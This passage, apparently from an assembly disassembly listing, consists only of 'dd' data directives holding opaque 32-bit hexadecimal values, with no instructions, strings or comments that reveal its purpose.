		dd 593FE7E0h, 92EBC700h, 98C60896h, 0CE2D007Dh,	0A9CAECCFh
		dd 0EBF45F17h, 349AE00h, 2E51BCACh, 34462469h, 0BF4A0F68h
		dd 0A554A433h, 750F2503h, 0C1110BDEh, 0AC341572h, 0FB2C0FA2h
		dd 5E40DA21h, 54D2E256h, 0D17D4300h, 74FA80C6h,	0F3CC0003h
		dd 5C28FB92h, 0BB12CD4Ah, 1800A143h, 80A9E40Eh,	99730094h
		dd 34844550h, 0E5001DD5h, 2D6A3138h, 356F8F1h, 0C5030619h
		dd 9E90492Eh, 0E209A81Bh, 7ED6C9CBh, 4F4004Dh, 0BBF3CDB2h
		dd 0C62DB67Bh, 0DB8891AFh, 53A99C10h, 63692301h, 0B0B17160h
		dd 0C0034468h, 0A5DBB7E6h, 2ADE3D8h, 7E2583Dh, 2EED3E6Dh
		dd 807ACC62h, 49FE67BCh, 0C1404EB8h, 40C610DCh,	6563E0AAh
		dd 3F000C90h, 0D562BC52h, 1D8A41B9h, 0C00A290Bh, 0A7CCDB54h
		dd 7F075509h, 729505F8h, 8930FA22h, 75FA00BCh, 49DA95Dh
		dd 3BEC7AA2h, 0A16FC0CBh, 2E5A989Fh, 6B7D2407h,	0F44A3CD0h
		dd 405B4AFCh, 75A22B20h, 51FC2C60h, 800BB79h, 0E3A4DC4Eh
		dd 287A22D9h, 4C46B0Ch,	0F0F906B0h, 0AF6200A3h,	7D7B4D4h
		dd 8884C607h, 0F4A93218h, 0E200B8FAh, 0AD8A6C1Dh, 7E87B7D1h
		dd 0F1EA00AEh, 8F96741Eh, 0C101A2CDh, 0D8A484D9h, 0C45069D5h
		dd 0B7730612h, 0BCE88490h, 87649C2Eh, 3A20B400h, 0BEC8BA8h
		dd 0D92ED373h, 42E230A1h, 388022CCh, 7F2B8089h,	49A24752h
		dd 5B7305AAh, 0C05F8E7Eh, 0FD8F2B6h, 0F4F30300h, 9C7B686Ch
		dd 8A833AC2h, 666DC98Bh, 0DE368B80h, 6C0F189Ah,	63209DC8h
		dd 0BA8D600Fh, 33006055h, 0DAFD0054h, 11CB0906h, 99305DE1h
		dd 0BF271894h, 2FE500A6h, 8E68B93Ch, 0DA001464h, 0FCC33779h
		dd 0B0C4F9h, 950A1332h,	6BB7FA55h, 2A979207h, 0E09FE0D0h
		dd 0D2EA875Dh, 9EE516ADh, 4CDC40B9h, 7F50CE88h,	266EC500h
		dd 33E77748h, 0FDAB0567h, 81E6BA0Fh, 3F2F47FCh,	6229900Eh
		dd 606FD29Bh, 935CCDCh,	0D5B7544Ch, 42BAD086h, 3AAA8516h
		dd 8E36480Ch, 1C562F63h, 0E804048h, 0C048C21Eh,	1D717000h
		dd 0B8F1FA07h, 144D772Ch, 0A48DEF83h, 524B270Eh, 942FEEA0h
		dd 4500E9FEh, 726781Ch,	8B7B97h, 9DE1D62Ah, 0F78FF071h
		dd 10301216h, 51368B0h,	45FEC214h, 5851E83Ah, 1E1A00BFh
		dd 360B9249h, 5DB200F5h, 6523D68Eh, 0A000B62Dh,	0BABCEB33h
		dd 0E3774C5h, 0AFE3B1D2h, 4CAD9D03h, 6B22BFC8h,	46B88C00h
		dd 5AB00E52h, 209658EDh, 397B5300h, 5B873E55h, 89010D70h
		dd 0CBEF3D47h, 0F830D5A7h, 0E4CC50B7h, 52851790h, 53B84099h
		dd 1E66E24Fh, 0ED211260h, 0A1403A6h, 7E318CB8h,	2A96008Ah
		dd 5D0148C9h, 28876800h, 94558E10h, 0CF19033Bh,	78BCE34Bh
		dd 0F4344FA0h, 3CD6F201h, 0FC492CABh, 1FED0860h, 0DFCC3E31h
		dd 4FF5D94h, 0C27BB0C5h, 4CE4932Ch, 0ACDC30EBh,	0BC062401h
		dd 0DF70F787h, 0E0EDDE87h, 101567AEh, 0F304BAB7h, 0F7911100h
		dd 62275380h, 494785Bh,	0EE6626B9h, 322CC036h, 0F71278A7h
		dd 8000C6CEh, 0A433DACh, 7288F685h, 0FBC92E7h, 173E1BB4h
		dd 506CD0D7h, 1600DF8Ch, 11E905C7h, 165AFEEh, 0B475F576h
		dd 3AB819C5h, 0D877BC00h, 92E95FCh, 12D4B58Ch, 0AFF45801h
		dd 1EBCCF7h, 0F2029090h, 8CF1EE9Bh, 94584017h, 146C40EDh
		dd 1B40289Eh, 301267D5h, 0C298CB53h, 5A4EB723h,	0CC72ACC0h
		dd 65EED6h, 0D44A4341h,	1411872Ah, 0E5E220Eh, 9EF6A090h
		dd 7EFDB24Dh, 458A034Eh, 0B4AB398Bh, 0E7BA90D7h, 813A6756h
		dd 0E69C001Eh, 7545A7A5h, 4417000Bh, 7E8E0601h,	6D002D55h
		dd 0C41F4FAFh, 48C9E2F0h, 0FE29DC17h, 0A34400B8h, 78D7D196h
		dd 0AD5FC1F8h, 8B70B887h, 0EE3C0Eh, 0D1533F9Ch,	6EC0E8EDh
		dd 371DC200h, 0AD99989Dh, 30D000A2h, 0B9AFA088h, 0F2251FDDh
		dd 5E58604Bh, 0E74B6Bh,	4959E00Ch, 3AE887BBh, 0EA2C5D00h
		dd 0DEBEB0F3h, 7DC00F0h, 3BA69070h, 82024632h, 9AB8897Ah
		dd 164F8A9h, 0BD2A3463h, 0F45E370Eh, 8F259E68h,	0CC28873Bh
		dd 6EB23260h, 0C6F245h,	5B175E14h, 1FAFC8F5h, 1B7AA27Ch
		dd 60B98A0Dh, 7FF829DCh, 50B02EAh, 9F1B5737h, 9C615360h
		dd 0EB5F0E00h, 0D2017D36h, 0C2391732h, 9E78000Ah, 7BA9226Ch
		dd 3E2A1616h, 250C500h,	4C3A5F5h, 5CE5B01Fh, 7990D27Ah
		dd 33056C5Ah, 4F22BB19h, 40D92BC2h, 0E76A7F8h, 28B495BCh
		dd 3C488120h, 94FE04A3h, 5D1EC900h, 0BC7B7E2Fh,	23722806h
		dd 0EB9300ABh, 21A6AADAh, 15033C49h, 8DAFAC8Fh,	7BABD852h
		dd 0F13B0095h, 58350F70h, 6C006368h, 0BAF47844h, 0C08F7336h
		dd 0EECA6168h, 667FFEA9h, 6AAD3Bh, 401F98EFh, 2F5A5Fh
		dd 376ECEBh, 6F633D3Eh,	7213B105h, 74B09107h, 50952279h
		dd 0D75B2901h, 9D44517h, 143B4860h, 808FCA5Ch, 0EE915380h
		dd 4703CBB7h, 0C91E4F49h, 0DB063EC6h, 0D69D1900h, 0B1460454h
		dd 7725BA3Bh, 0D04CC300h, 0B566EC76h, 0A0C6FCB4h, 79A30A1h
		dd 0C21B266Dh, 0CFEFB0A5h, 0F1124B41h, 0D4006AC7h, 622C80Eh
		dd 0E8FF04C1h, 404308F0h, 0D18DA0E7h, 0C628C772h, 0E238A4B0h
		dd 83007760h, 0FC7E76E5h
		dd 0CFE1B4h, 0C2320CDDh, 0FDF0AE3h, 2E61643Fh, 0E547746Eh
		dd 0C0284369h, 0FAD01714h, 0D90C006Dh, 71B25FC8h, 0EB00986Ah
		dd 3F5B25FAh, 0EA553B1Eh, 0A80F1765h, 85321CA7h, 0D0902471h
		dd 49E56A44h, 425E8D1Fh, 6F31DEC0h, 4EA85E1h, 4BB31040h
		dd 48DCC0D0h, 8C00DD97h, 8A6FD574h, 6B6589h, 5E720D86h
		dd 173C9355h, 0FEC95316h, 9A1E9C00h, 37257Ah, 674B635h
		dd 0D220F4D9h, 0CE1F4AF4h, 59406F07h, 85C9241Ch, 754CEA86h
		dd 755F00E7h, 0A6BE58EFh, 213B9F25h, 0E3B98A93h, 4B80ACF2h
		dd 0A6D99C32h, 36C94DEh, 5B451B19h, 80341790h, 0E100C3E2h
		dd 0A263C0DCh, 0F81AB75Dh, 6E8A04C8h, 800C7D4Fh, 52DD6FBDh
		dd 0E4278900h, 83C7E0C4h, 0B6BE0090h, 7CF58676h, 15004CB7h
		dd 8BF41688h, 6C5E7h, 0E4C6ADEAh, 0FE7741B3h, 0F8CF9700h
		dd 0A6E6A4E3h, 5C8C0F4Fh, 407FF2BCh, 0D46E4E28h, 6D00AFCEh
		dd 47AA142h, 3D6F070h, 1C218BE5h, 0BD802A32h, 0F0F523C0h
		dd 810C3379h, 4269F59Bh, 0BB4037Ch, 51CDADA5h, 4485FF80h
		dd 37A4491Fh, 21FD094Fh, 6F89A067h, 0B86D72C1h,	0BBD5CD03h
		dd 0E0EA35AEh, 76399000h, 9A4B002Ch, 14D10585h,	0D701631Ah
		dd 6FC2B2E6h, 802B7CA1h, 9F499068h, 0C7E1F700h,	0CFCB914h
		dd 12661D8Fh, 56A3C016h, 975FE552h, 171D9A00h, 0CF3526AFh
		dd 0BAEA000Fh, 0D0735B82h, 0BE022B34h, 7BFD7411h, 27E080B6h
		dd 0E8F5A06Dh, 0C979F409h, 0B0405271h, 151E2185h, 4DC761A1h
		dd 4F150A0h, 1040E0F7h,	26803C2Dh, 0E3A6C20h, 4B81B41Fh
		dd 0D83808C3h, 0F1001EF5h, 512C1463h, 6A780B7h,	0EDA62215h
		dd 0AE071079h, 6A7ACCE9h, 7E6DA120h, 0C6FF01ACh, 62DF4217h
		dd 9A336013h, 80D52E07h, 0B9AD5CFDh, 7B069081h,	0E1A55035h
		dd 0A747FC5Eh, 9E3AA900h, 42F44013h, 0A06526AAh, 9040341Dh
		dd 83497260h, 0B9F78E14h, 0E7C70064h, 6FAA8276h, 7AD317A2h
		dd 6AF8BDh, 0F6CFA37Bh,	48AE1F54h, 8700FD77h, 0E56DD5ADh
		dd 80134FAAh, 0D9000E4Bh, 0EE657139h, 0BB31002Bh, 5A2563F6h
		dd 0DE006816h, 0FC54AC15h, 0EEB9E8h, 4FBD2380h,	42AA359Ah
		dd 0ABB739h, 0F58F93Ah,	0B093Eh, 2116378Dh, 4EC75B88h
		dd 7900B892h, 299351E7h, 82960Bh, 9FB55AC2h, 95B07D88h
		dd 489ADFF5h, 0A4CB44C3h, 7B8AE100h, 0F1FFCA74h, 0B9570238h
		dd 0B6AF4E90h, 4A0FC8FCh, 0B07C4083h, 30306D89h, 3F7159C8h
		dd 3400D703h, 0AB0A657Ah, 7FEAE3E1h, 1D743DB8h,	29D48B8Bh
		dd 0C2F40860h, 6168E807h, 0B2A0F09Eh, 791445h, 0F82F2BB5h
		dd 7D853DF9h, 99A67E30h, 31C69Dh, 5D03218Eh, 6239C269h
		dd 3B306500h, 9A9C8F93h, 0AE735Ah, 967FF71Eh, 40EB23ECh
		dd 6DEAA0Eh, 0C9BA803Bh, 86014Eh, 4AD83238h, 0E4D3768h
		dd 2AA6B938h, 0ED00FC7Ah, 1BE163D1h, 67955ECCh,	10641977h
		dd 33B43C30h, 0DFAEF70Ch, 15ED132h, 0A222E8D1h,	0C0D6955Ch
		dd 3066AFBh, 0C0E42CADh, 9AA40531h, 812F3B56h, 8FA3A2A0h
		dd 377F3C59h, 87480841h, 86C0F6ABh, 9DEA00DCh, 6ABE1ACBh
		dd 0C0DC152h, 39940216h, 99EEE0h, 1D6E840Dh, 0B6DB6BF7h
		dd 3A978E00h, 7F0BCDBEh, 88A0C085h, 0A4A295A6h,	723C510Eh
		dd 0C9DAC086h, 0DED5BEh, 0C31C6049h, 0D99D8028h, 82004176h
		dd 48C70FF4h, 8552Eh, 0B0F247B7h, 76B4C97Bh, 27EF29C0h
		dd 0E612ED05h, 19C00031h, 9946138Eh, 4103D688h,	0B92D4BFCh
		dd 4DF29011h, 764748Bh,	0EDF1D03Ah, 0F65C800Fh,	0F907E1C2h
		dd 0FDB2ADC4h, 308A546h, 9D4BBACDh, 30AEC207h, 940005E8h
		dd 111C55F5h, 8A3591h, 0E8814593h, 0E93A0F95h, 0FB0C06F4h
		dd 100CE3EAh, 1F90F63Dh, 8060CCF1h, 0BFC64BEFh,	90CE5111h
		dd 182CC0DFh, 2BED3BBh,	9FDE2341h, 55C0FC30h, 36374CC2h
		dd 8EC8CBh, 923D64E1h, 0C3A006Dh, 56D9421Ch, 680517CFh
		dd 75709413h, 96468C05h, 1AFC9041h, 408C585Bh, 59593F9Eh
		dd 96C1A000h, 0D44C09E9h, 310D6028h, 0A78CC913h, 0AD6F4B01h
		dd 0B3359514h, 7DA544D8h, 12BF0059h, 0AC723EB2h, 0F16028F5h
		dd 30474150h, 93DD0086h, 5CD3213h, 0B578FFB7h, 0F382ED01h
		dd 459FB9EEh, 86898180h, 3996E635h, 0A0EC6901h,	0E85A11E7h
		dd 1E63F8h, 151B21D0h, 0B24B18C9h, 9450BA17h, 440084B8h
		dd 0CCAE0787h, 0CA748298h, 594A5230h, 0C6ABEA2Dh, 0A2A1D5F9h
		dd 3DCCD400h, 4806E6DCh, 0CA3F0CE9h, 76F117BBh,	527D1E01h
		dd 3721EAF2h, 0D73E4880h, 5B87BFB0h, 60DB9800h,	0C2454BDFh
		dd 0C95E4E9h, 0C9AF769Eh, 8805B208h, 0BFD09699h, 0A0749E83h
		dd 722DA8Eh, 0E3DB57B5h, 0DF69C719h, 0E1DF419Fh, 0F1D0626Ah
		dd 889EE4B5h, 100792A3h, 0F988C5Ah, 0C78D5740h,	75A400F0h
		dd 0E192BD7Fh, 0DB03B871h, 99BEE296h, 636AA1C2h, 0F6872E0h
		dd 5BCDC68Fh, 4DD0B607h, 0D95AD030h, 0BC74DB7Ch, 0B1939601h
		dd 0A969D48Eh, 5273DFC8h, 44764ACh, 3050F8AEh, 0B310AEDFh
		dd 0EB301D9Fh, 3DA921CAh, 147C013Bh, 48C3929Bh,	0E108BA73h
		dd 3B425421h, 19A30C4h,	9899D0C6h, 0FC914403h, 50C4C5A3h
		dd 3630E9A6h, 1023DB3Bh, 3CC1173h, 0E73B6F89h, 0D6B5E884h
		dd 6E5B0134h, 0F5366032h, 6CC8C053h, 0B14BAE18h, 1F0539C1h
		dd 2C7958Ch, 72D35620h,	9D1FF6E1h, 8C068421h, 119D31h
		dd 8D04A5BEh, 9626DA36h, 2574B2FAh, 65217560h, 0FE7021Dh
		dd 15583DD5h, 97A979A0h, 8430051Fh, 9EAF6891h, 0C1BF2832h
		dd 0C2683EA0h, 0A87B0795h, 0D6949600h, 0F5CF094Ah, 8701B218h
		dd 0C0C2DD08h, 0D696AD20h, 505C8F3Dh, 0C52380C0h, 3B3B04D2h
		dd 0AEB0ED2Eh, 35C96968h, 76395E60h, 19DC8D0Fh,	0E8BE4AA5h
		dd 0D8F1982Fh, 887C21h,	0D0FDEBDCh, 0E5634FE2h,	27ED240Ch
		dd 52AE50FFh, 0D93F9C11h, 9C0AE351h, 0BB188822h, 0CF59B0F2h
		dd 59F60F10h, 7F45F31Ah, 68E8204Ah, 0FEE65DB6h,	150648C0h
		dd 2910FBDFh, 0BBC0B198h, 4B901C6h, 25BA3681h, 7188740Ch
		dd 0CC041EB1h, 0F6003EF2h, 1D584F90h, 0C4A06F72h, 88ABE219h
		dd 0F26590FFh, 0D500ACF8h, 2C37A487h, 42FEA5h, 75DD339Dh
		dd 34091AE6h, 48B15924h, 76856902h, 0AE48907Fh,	36821104h
		dd 808388B2h, 4A04A65Eh, 510C8CF1h, 81661E9Fh, 9050FFE9h
		dd 0DCDB64h, 8BFC8A18h,	253E3F44h, 940BE92Ah, 0D24CB800h
		dd 7E97AAA3h, 0F8EA2AD6h, 0F7D307A0h, 8CD46649h, 2D00A01Eh
		dd 3EDAC9DBh, 403129h, 68ED0836h, 0A0A7F5D6h, 86E8B4A1h
		dd 0B221AF79h, 0ED3300A9h, 6CD9153Bh, 630309CAh, 0CE255E3Ch
		dd 1A5A7E8Bh, 20167AEDh, 4F0385DEh, 50E6455Eh, 4460707Bh
		dd 0A74865CFh, 2EE046Ch, 680AAADh, 502D9BFBh, 4C8A4D1h
		dd 49777562h, 0E8B3009Fh, 48D5544Fh, 1C84FCC7h,	3B4830EBh
		dd 63142381h, 570EC411h, 0D8063B41h, 7A4978E2h,	0ADA80A8h
		dd 8C7F0935h, 90BBE244h, 30867FB8h, 10519848h, 0D7627126h
		dd 64C30EB8h, 21F96074h, 5EF48D01h, 7779A300h, 0C603E22h
		dd 0E5C71F2Dh, 25398FB3h, 51F22767h, 40CE33FDh,	6615308Ch
		dd 50447048h, 3D8C916Ch, 36B504B8h, 7D243238h, 4B05C21h
		dd 932DD0FBh, 1EF57D6Fh, 0D5D73787h, 6062941Fh,	0C882888Ah
		dd 8040C29Fh, 349109BBh, 164C301Eh, 7590206Dh, 9B41FA15h
		dd 0DC810310h, 62D44AB9h, 7C8820D5h, 8D01F1DCh,	837B1CB2h
		dd 9020D2F5h, 79B9406Dh
		dd 91B06F1Fh, 0ADE17F80h, 0A0FEBB98h, 7F81D930h, 26CF01B8h
		dd 9A93A6D0h, 68E0E7A1h, 34FAAE35h, 6AF1A860h, 7F15B46Fh
		dd 0F72140Ah, 0B923EC30h, 38C4E71Fh, 6E628709h,	0D691B620h
		dd 0DFF202E5h, 447FA290h, 0B2E1F0B0h, 7F830380h, 0B1D60961h
		dd 0B420AE14h, 0CE620190h, 0F7E1600Ch, 4739C5h,	0A2D9E8B6h
		dd 2D49E408h, 0F6BC300h, 0EA85056Fh, 1E29F83Dh,	441C6C92h
		dd 0D1D94B03h, 0D2DC25F8h, 40198611h, 0DF0948EAh, 0B7C0F899h
		dd 243AD698h, 18C16081h, 6EBC3975h, 0C146D70Eh,	96E800ABh
		dd 508EF2F5h, 672DAC06h, 6B7F297Eh, 8E699010h, 2B6CE63Eh
		dd 9001FC40h, 664AA4DCh, 0CA401A18h, 0DC870E85h, 0A061B906h
		dd 20133B10h, 0F10A0BC0h, 0A4C541FDh, 10F7E609h, 3E3290h
		dd 0E1102495h, 7FF62ABBh, 0BA63663Ch, 0BA62857Eh, 3006FBB8h
		dd 39BB50h, 214F68FEh, 646C9907h, 0E841FB00h, 0E3A04980h
		dd 423401F6h, 9FB45352h, 20C76A7h, 147E3B4Bh, 10C0316Bh
		dd 3B4056h, 0FFE3310Ah,	7A1A10BAh, 64A590A8h, 2BE85100h
		dd 7BF1126Bh, 83B801D8h, 7A4D1FD6h, 0D9D820DCh,	0F773FD13h
		dd 261CA040h, 4FF6E8Fh,	354D29B0h, 0EE8081BAh, 88F04EEFh
		dd 0DB44C065h, 430097D7h, 89943499h, 17CB3B0Dh,	3AB79272h
		dd 0C62384h, 4B071865h,	770C8A4Ah, 21A0467Fh, 0F5241669h
		dd 10BC417Bh, 84654215h, 6BB691E8h, 1AC40CCBh, 0D93330CAh
		dd 0D1240102h, 0A261147h, 9B1C042h, 78505472h, 855C8190h
		dd 8C8ABCA8h, 0D21F1C7Fh, 2A813F39h, 5B9A375h, 4AE8E8EEh
		dd 0BC57501Ah, 80048C78h, 6F0936D6h, 9200C138h,	0FD2CABD6h
		dd 49CD4Ah, 7B5F7A08h, 752E4D30h, 2C1D6CB2h, 0D2209EBFh
		dd 15780438h, 7F4707D0h, 259AE31Fh, 4148D25Ah, 8C562340h
		dd 40337138h, 0CC904EC3h, 81733232h, 1656C0D6h,	0DA11C070h
		dd 7A719ACAh, 0A115D809h, 0A4F98029h, 0C07C4F3Dh, 3668C4EAh
		dd 0EE282672h, 0F25D9424h, 1C2BC90h, 70855AA5h,	72F7781Bh
		dd 1950028h, 0EBF9DEA4h, 0A83200E6h, 443187EDh,	0BC75CFA2h
		dd 0ADD6700Ah, 4C01381Ch, 9F4AB0A8h, 9911182h, 38E1F5C7h
		dd 947BE443h, 4674E494h, 0A9FC3BC5h, 5484BC24h,	0F000C471h
		dd 0F319D5F5h, 134FB00Ah, 465630B4h, 21F100C2h,	0A3CC54CAh
		dd 0E3421C93h, 2C038313h, 680F95C5h, 0AC7F0168h, 0B130399Dh
		dd 1EBF0050h, 82DD6791h, 9CD2D716h, 0E8C8B850h,	0D3078C82h
		dd 419C037Fh, 131078FCh, 0BE0DF6h, 24B7E1ACh, 0D0907312h
		dd 8052D09h, 15C840C9h,	64E989B2h, 588C43E8h, 4A163B8Fh
		dd 86E8386Eh, 3DC8207h,	1227DD7h, 0AE510CDFh, 32251898h
		dd 0ABECA5A0h, 3B37B060h, 4B1026DAh, 6C8A70B8h,	0D3273B00h
		dd 0E7CD4EB7h, 0E80518CEh, 9A7FB8A5h, 77C032FFh, 87CC3058h
		dd 84F96DB9h, 249437BFh, 0CDE0C0A6h, 3C2E91A2h,	9FA04CD1h
		dd 3030A490h, 0AEB529AFh, 0B99F0024h, 2CA7A488h, 0B20152F7h
		dd 3BFD4FF5h, 6470A6A3h, 0ADFA25B8h, 40940024h,	3CF60C4Ah
		dd 0A124068Ch, 0B8A312C6h, 84A6972h, 92AE184Fh,	74808C35h
		dd 1792B310h, 5D422D30h, 1DED45D4h, 1814C65Fh, 0EBF40254h
		dd 0E8D0265Ch, 1CA4327h, 68877110h, 7470EF49h, 9AC404Dh
		dd 0BC403090h, 182CB0CAh, 0A1B33123h, 861EB53Bh, 3CE9F0C2h
		dd 86C9D670h, 1557CE06h, 2AD877C2h, 3EF08319h, 0E8804923h
		dd 0DB121C1h, 0E514C782h, 7994581Eh, 40184B80h,	0F512D56Ch
		dd 8440059Bh, 0E8D65AE1h, 95AA0223h, 0DCE21D10h, 304A9101h
		dd 0C1926C20h, 16AD6669h, 0ECDC391Ch, 7F801BEDh, 0E1E0D92Eh
		dd 0C860E92Fh, 0EC483011h, 480A732Ch, 1967876Fh, 0D2C4A0F3h
		dd 0C6ECDC67h, 0D0E15226h, 641865C9h, 88A86077h, 0A53E00E5h
		dd 59453DC4h, 0BF51F502h, 164C51E4h, 0EBD05071h, 92005D0Dh
		dd 968AB5D2h, 77D1FBh, 0BFD70564h, 98AE82BBh, 80B81948h
		dd 9E80C3Dh, 0E9CF01EBh, 45AE4E1Ch, 3B50231Dh, 0D270DC60h
		dd 73C8A88Bh, 0A3249BC0h, 57851F70h, 0AE682414h, 0BB215C3Ch
		dd 5B9D80C9h, 0AF1BC677h, 0AA56020Bh, 238CA262h, 0E44C65B4h
		dd 0A17261CDh, 0E0C6E3D1h, 5855B2BAh, 2D26E4E1h, 0F5904044h
		dd 30B025D1h, 0A5F00101h, 690F2CBAh, 2FD2FC42h,	438F0740h
		dd 6C005C16h, 3468738Ah, 53EF94Ah, 9658324Ch, 884CCED2h
		dd 0A851C078h, 3438D4D8h, 0B86A0F1Ah, 2F79B8EDh, 0E9BD2403h
		dd 1A6640C0h, 41005BABh, 4311FD28h, 0FFEF0Eh, 37B1E126h
		dd 0CE4FDC8Ch, 3672CF02h, 60C86BFDh, 5D2D44C4h,	842E74EEh
		dd 0B38DCCCh, 0FD6F805Dh, 0C7E560D1h, 0ABE9304Dh, 70A19D99h
		dd 6D95942Eh, 8768500Eh, 4CA526C5h, 0C9B794C1h,	0C8407A0Ch
		dd 46484A7Fh, 71A73054h, 0D405EC03h, 908A9DC4h,	4A6F555h
		dd 67399EE1h, 0D4E906C2h, 0BC6F0051h, 5BFB65EEh, 7100733Eh
		dd 0B515B136h, 0C398BE3h, 6B19C47Dh, 9100ED39h,	8021A4E4h
		dd 3BA38431h, 8609BF4Dh, 9B8230DCh, 6CE4C10Bh, 80BC1948h
		dd 493B4485h, 0CFE3003Fh, 0E06104B3h, 0EB4BCC16h, 4A24CDA8h
		dd 9EFA3368h, 6FD138h, 20D549ECh, 0B7C708h, 0B989A0C8h
		dd 817BAB7Fh, 8E2BD33Fh, 2BB06F83h, 0BB20101Ch,	96F73091h
		dd 0D8050A49h, 3804EE05h, 9881D99Bh, 382057E1h,	60444C7Fh
		dd 0F83BE0D8h, 0AC15F8A8h, 980FBF10h, 0A4029523h, 0E2369004h
		dd 89F81964h, 21C7010h,	44618303h, 0EBDB5AB9h, 62B3E234h
		dd 0CD9882D4h, 605062C0h, 9E863A13h, 77465C70h,	88AA3200h
		dd 80913C7Bh, 0F52E6773h, 1A784F1h, 2B7FC638h, 0F00FD422h
		dd 20DA091Dh, 1C625C67h, 0B78C18CAh, 75A5B000h,	0F5365DE0h
		dd 7D98A82Fh, 403A4BEAh, 2E9BFB64h, 0C5009420h,	0B28855C9h
		dd 73FD3B09h, 0BE0B01Ah, 1542385Eh, 219E4C24h, 3E59F75h
		dd 29DAF420h, 0A4C42EA6h, 55C20C8Ch, 13065630h,	224408CCh
		dd 0DF153F69h, 0B3A300F4h, 0CD826DBDh, 65079136h, 0E2ACA4EAh
		dd 0D0B24AA0h, 37066h, 5A8BDE9Bh, 4D41CD7Eh, 0E825DD00h
		dd 7F22084Ch, 4F801E5h,	8D01FFCCh, 71A4E089h, 48E7A600h
		dd 0EF95C910h, 0ECBD00F9h, 128BE69Ah, 9D05625Fh, 31E0FBF5h
		dd 36DF7BC1h, 24EB70h, 0EEA2DD41h, 1C8FB0C2h, 8AC72C3Bh
		dd 0C8D3AD32h, 0EA7BE900h, 0BE814FE8h, 0C2465E0Ch, 12BAF800h
		dd 1A5FEA37h, 0FA2C1EC2h, 4C84D87Fh, 0DE0004CCh, 2F836801h
		dd 0EBEACE0Dh, 2444033Eh, 30094CADh, 6C3020BAh,	82E090h
		dd 0F421D3Fh, 0CFF37457h, 0EAE048EAh, 0A05D260Ah, 0C209FC9Fh
		dd 658CB214h, 6380C4E0h, 0B863A8E1h, 89DA311Ch,	68762848h
		dd 8CE2F800h, 205E222Fh, 0AD510BD4h, 91A70288h,	4818381Dh
		dd 0E5704CF3h, 18BE7254h, 916C3B9Fh, 0AD244481h, 28A6ECCFh
		dd 0E8AB14h, 916A8BCCh,	25D1EE01h, 24A05ED9h, 87149861h
		dd 0E8DCAD00h, 26548407h, 0C4695F2Fh, 36E780C0h, 107CE2E1h
		dd 4800A94Ah, 0EE694F08h, 13C57456h, 0C033ED24h, 0A64D2248h
		dd 7207045h, 909E69A1h,	56C0444Dh, 0C946A2Fh, 8806EE46h
		dd 0B70335E9h, 8D0EA73Ch, 7470E87Fh, 0B51D3CCCh, 5C26FCD8h
		dd 826E1128h, 62AEDC82h, 60A851ECh, 4EDCB96Fh, 65C35216h
		dd 96946408h, 87BC0469h, 7E35009Ah, 0B88C4E8Eh,	2B14660h
		dd 10E83B49h, 5870547Bh, 3B003E88h, 0D4A2D237h,	0E68BEBE1h
		dd 3A2B0619h, 60F2C7FDh, 8C28484Ah, 5281427Ch, 307DE214h
		dd 9700DFB9h, 62108AACh
		dd 16E8403Dh, 201FADE6h, 1B08BB10h, 0A8E0E8B4h,	72D52Ah
		dd 2E4205ABh, 32BE6A49h, 50C3400Fh, 0B5E4404Bh,	7F6DB991h
		dd 69918D6h, 26F1B97Fh,	3E245301h, 60DC8E95h, 0B08660h
		dd 91F2CAE2h, 0B930B87Fh, 1AD681C0h, 58CFFh, 0DEB1ABEBh
		dd 4BA01467h, 845FBA0Bh, 947C6337h, 0B8DCC067h,	0E8A7864Ah
		dd 0DC7B8100h, 0E860CC65h, 893C1309h, 28288DB1h, 9C922F8h
		dd 9FEA4D30h, 7BBF800h,	16506912h, 79004868h, 38EAA7DAh
		dd 0E6A2C2AAh, 148F71C6h, 802FB956h, 0F920901h,	708EB730h
		dd 91336970h, 3D3BFA03h, 92809EE9h, 848F177Bh, 84A0740Dh
		dd 0A4BC1B13h, 34092F01h, 0A892D881h, 88E49A1Ch, 7A0C06Eh
		dd 484CB5ACh, 0AD89160Ch, 8C8774CCh, 77C57D64h,	0AC0164CEh
		dd 0E9F2D697h, 8F3F10D7h, 14DB0149h, 927EBACCh,	4AEC2996h
		dd 0FFC0FC9Ah, 3F40F8B9h, 64B81A00h, 0E539F16Ah, 10985F2Fh
		dd 0B7BF0C0h, 9532D847h, 67600E0h, 0EDFE150Bh, 0C92C9010h
		dd 0BC02F0F3h, 69B1B2E0h, 27E22045h, 2CB418CAh,	0C8953004h
		dd 4C16A29h, 0AE00CC8Fh, 71CB8410h, 5F046819h, 0CEEA0Ch
		dd 0BECB80EAh, 76502316h, 807B5E39h, 693DE74Ah,	619805D6h
		dd 30E848A9h, 0C6DC10B0h, 7106072Fh, 404C7515h,	92F8D18Ch
		dd 28FF4605h, 0E07EDDh,	892B60FDh, 992612E8h, 7F8841F9h
		dd 82842C2Eh, 20F55FDh,	285C6BC8h, 0CA1A215Ch, 69E702BEh
		dd 79509997h, 0A7F500F4h, 4A74B67Eh, 0B3FB6A12h, 0C07B2808h
		dd 9360AD9h, 0DC229746h, 0D693C000h, 0E4E3723Fh, 0AAE578CEh
		dd 1F3420F4h, 76FC69Dh,	17B66A6h, 352920E1h, 6490CD7Dh
		dd 0F0167C29h, 39FC8800h, 5B475E3Fh, 91E42849h,	1881C840h
		dd 4080C52Ch, 0EC52B8B9h, 20502FF8h, 440CA2C0h,	25719Dh
		dd 5C455F26h, 1C88399Ah, 0E9B79C02h, 70C8D3D4h,	975030B8h
		dd 0E5DC5D39h, 21DCD0Fh, 3CD0967Ch, 0E2F9463h, 0F05A0D90h
		dd 54564140h, 349E6A80h, 91B8956Bh, 1EF58080h, 529EE336h
		dd 89048438h, 0D0A6DD54h, 5EE1B574h, 7F6F6A0Ch,	48AFE941h
		dd 77106480h, 40E825C2h, 6031E1FCh, 649F61A6h, 4F000B42h
		dd 53775467h, 6331E836h, 0F07221ADh, 0B4F91CC0h, 24B59B01h
		dd 2B399D30h, 5BF88FD1h, 831616A8h, 91AC808Eh, 2D0F3E18h
		dd 85E2A444h, 8DB1A637h, 13617DE4h, 12B13ACBh, 6920CC80h
		dd 0E7F5BC0Bh, 452CA7F0h, 0DD5673C4h, 0B2507250h, 0C8E430C5h
		dd 48E9FD3Eh, 134F129Ch, 0C2F24CA2h, 79825F30h,	6B12003Fh
		dd 6250945Eh, 0B4EC4FEAh, 0C0644CA5h, 418D3360h, 0EEF0FA01h
		dd 0F3D45DCEh, 95080039h, 18A910F9h, 83187471h,	0AE338800h
		dd 0E35FD978h, 2180ED31h, 80DDCC52h, 0C0003206h, 0DFEB5A3Dh
		dd 5D08EFh, 0E1EE3A43h,	97762549h, 38ED90B0h, 5CC887D8h
